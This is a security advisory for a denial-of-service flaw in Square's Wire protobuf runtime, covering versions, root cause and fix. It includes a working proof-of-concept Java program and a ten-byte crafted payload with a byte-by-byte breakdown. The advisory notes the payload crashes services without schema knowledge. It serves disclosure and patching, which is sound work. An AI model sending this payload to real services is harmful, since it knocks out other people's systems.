PT-2026-42032 · Maven · Com.Squareup.Wire:Wire-Runtime+1

Published 2026-05-19 · Updated 2026-05-19 · CVE-2026-45799

OSV

CVSS v3.1

7.5

High

Base vector

AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CVE-2026-45799

Maintainer summary

Wire's protobuf group-skipping logic did not reject negative lengths before skipping a length-delimited field inside a group. A crafted protobuf payload could cause Wire to throw an unchecked runtime exception during decoding instead of the documented IOException / ProtocolException failure path.

This can crash services that decode untrusted protobuf payloads and only handle Wire's documented checked decoding failures.

Affected artifacts

com.squareup.wire:wire-runtime

Affected versions: vulnerable releases before 6.3.0.

Patched versions: 6.3.0 and later.

Users should upgrade to com.squareup.wire:wire-runtime:6.3.0 or later.

com.squareup.wire:wire-runtime-jvm

Affected versions: vulnerable legacy releases, including 5.3.1 and 5.3.3.

Patched versions: none.

com.squareup.wire:wire-runtime-jvm is a discontinued legacy artifact and will not receive a patched release. Users should migrate to com.squareup.wire:wire-runtime:6.3.0 or later.

Wire 7 alpha releases

The fix has been merged to master and will be included in the next Wire 7 alpha release. Until that release is available, Wire 7 alpha users should avoid decoding untrusted protobuf payloads with affected alpha versions or build from a commit containing the fix.

Fix

The issue is fixed in Wire 6.3.0.

The fix rejects negative lengths while skipping groups and throws ProtocolException instead of allowing the reader to move to an invalid position and later throw an unchecked runtime exception.

Credit

Reported by @TrekLaps.

Technical details

The following technical details are based on the original report, updated by the maintainers to reflect the assigned CVE, the supported fixed artifact, and the discontinued status of com.squareup.wire:wire-runtime-jvm.

ByteArrayProtoReader32.skipGroup() in wire-runtime did not validate that a LENGTH DELIMITED field's length is non-negative before calling skip(). A crafted protobuf varint encodes -128 as a signed Int. When skip(-128) runs, the internal position counter underflows to an invalid negative position. The next readByte() accesses the source with that negative position, throwing ArrayIndexOutOfBoundsException, a RuntimeException that escapes Wire's documented IOException boundary and can crash the request handler.

ProtoAdapter.decode(byte[]) is declared to throw IOException. Callers following the documented API may catch only IOException, so unchecked runtime exceptions from malformed input can escape the expected error boundary.

The originally confirmed vulnerable legacy versions include 5.3.1 and 5.3.3 for the discontinued com.squareup.wire:wire-runtime-jvm coordinate. The supported replacement coordinate is com.squareup.wire:wire-runtime, fixed in version 6.3.0.

Root cause

In the originally reported vulnerable code path, ByteArrayProtoReader32.skipGroup() read the length as a signed Int and used it without validating that it was non-negative:

STATE LENGTH DELIMITED -> {
 val length = internalReadVarint32() // returns signed Int and can be negative
 skip(length)            // no negative check
}

The internal skip() implementation then accepted the negative count because the computed position was not greater than the limit:

private fun skip(byteCount: Int) {
 val newPos = pos + byteCount    // for example, 7 + (-128) = -121
 if (newPos > limit) throw EOFException()
 pos = newPos            // pos = -121
}

The next read could then index the source with the invalid negative position:

private fun readByte(): Byte {
 if (pos == limit) throw EOFException()
 return source[pos++]        // source[-121] throws ArrayIndexOutOfBoundsException
}

Wire already rejected negative lengths in normal length-delimited field decoding. The same validation was missing from group-skipping code.

The fix adds this validation when skipping groups:

STATE LENGTH DELIMITED -> {
 val length = internalReadVarint32()
 if (length < 0) throw ProtocolException("Negative length: $length...")
 skip(length)
}

The fix was applied to both ByteArrayProtoReader32.skipGroup() and ProtoReader.skipGroup().

Reproduction

The following reproduction was provided for vulnerable legacy wire-runtime-jvm releases such as 5.3.1 and 5.3.3:

curl -sL https://repo1.maven.org/maven2/com/squareup/wire/wire-runtime-jvm/5.3.3/wire-runtime-jvm-5.3.3.jar -o wire.jar
curl -sL https://repo1.maven.org/maven2/com/squareup/okio/okio-jvm/3.9.1/okio-jvm-3.9.1.jar -o okio.jar
curl -sL https://repo1.maven.org/maven2/org/jetbrains/kotlin/kotlin-stdlib/2.1.0/kotlin-stdlib-2.1.0.jar -o stdlib.jar

// WirePoc.java
import com.squareup.wire.AnyMessage;

public class WirePoc {
 public static void main(String[] args) throws Exception {
  byte[] payload = new byte[] {
   (byte) 0x9B, 0x06,                     // field 99, START GROUP
   0x0A,                            // field 1, LENGTH DELIMITED
   (byte) 0x80, (byte) 0xFF, (byte) 0xFF, (byte) 0xFF, 0x0F,  // varint = -128
   (byte) 0x9C, 0x06                      // field 99, END GROUP
  };

  AnyMessage.ADAPTER.decode(payload);
 }
}

javac -cp "wire.jar:okio.jar:stdlib.jar" WirePoc.java
java -cp ".:wire.jar:okio.jar:stdlib.jar" WirePoc

Observed output on vulnerable versions:

Exception in thread "main" java.lang.ArrayIndexOutOfBoundsException: Index -120 out of bounds for length 10
  at com.squareup.wire.ByteArrayProtoReader32.readByte(ByteArrayProtoReader32.kt:448)
  at com.squareup.wire.ByteArrayProtoReader32.internalReadVarint32(ByteArrayProtoReader32.kt:294)
  at com.squareup.wire.ByteArrayProtoReader32.skipGroup(ByteArrayProtoReader32.kt:209)
  at com.squareup.wire.ByteArrayProtoReader32.nextTag(ByteArrayProtoReader32.kt:156)
  at com.squareup.wire.AnyMessage$Companion$ADAPTER$1.decode(AnyMessage.kt:150)
  at com.squareup.wire.AnyMessage$Companion$ADAPTER$1.decode(AnyMessage.kt:88)
  at com.squareup.wire.ProtoAdapter.decode(ProtoAdapter.kt:468)
  at WirePoc.main(WirePoc.java:10)

With the fix, the same payload is rejected with ProtocolException.

Why this can affect any Wire-decoding service

skipGroup() is called for any unknown field with wire type 3. An attacker can send an unknown field, such as field 99, with wire type START GROUP. The decoder skips it via skipGroup() regardless of which message type the service uses, so no schema knowledge is required.

Payload:

9b060a80ffffff0f9c06

Payload breakdown:

0x9B 0x06         field 99, wire type 3 (START GROUP)
0x0A           field 1, wire type 2 (LENGTH DELIMITED) inside group
0x80 0xFF 0xFF 0xFF 0x0F 5-byte varint = -128 as signed Int
0x9C 0x06         field 99, END GROUP

Fix

Improper Validation of Array Index

Weakness Enumeration

CWE-129

Related Identifiers

CVE-2026-45799

GHSA-7XPR-HC2W-34M9

Affected Products

Com.Squareup.Wire:Wire-Runtime

Com.Squareup.Wire:Wire-Runtime-Jvm

References · 5

• https://osv.dev/vulnerability/GHSA-7xpr-hc2w-34m9 · Vendor Advisory
• https://github.com/square/wire · Note
• https://github.com/square/wire/pull/3595 · Note
• https://github.com/square/wire/pull/3597 · Note
• https://github.com/square/wire/security/advisories/GHSA-7xpr-hc2w-34m9 · Note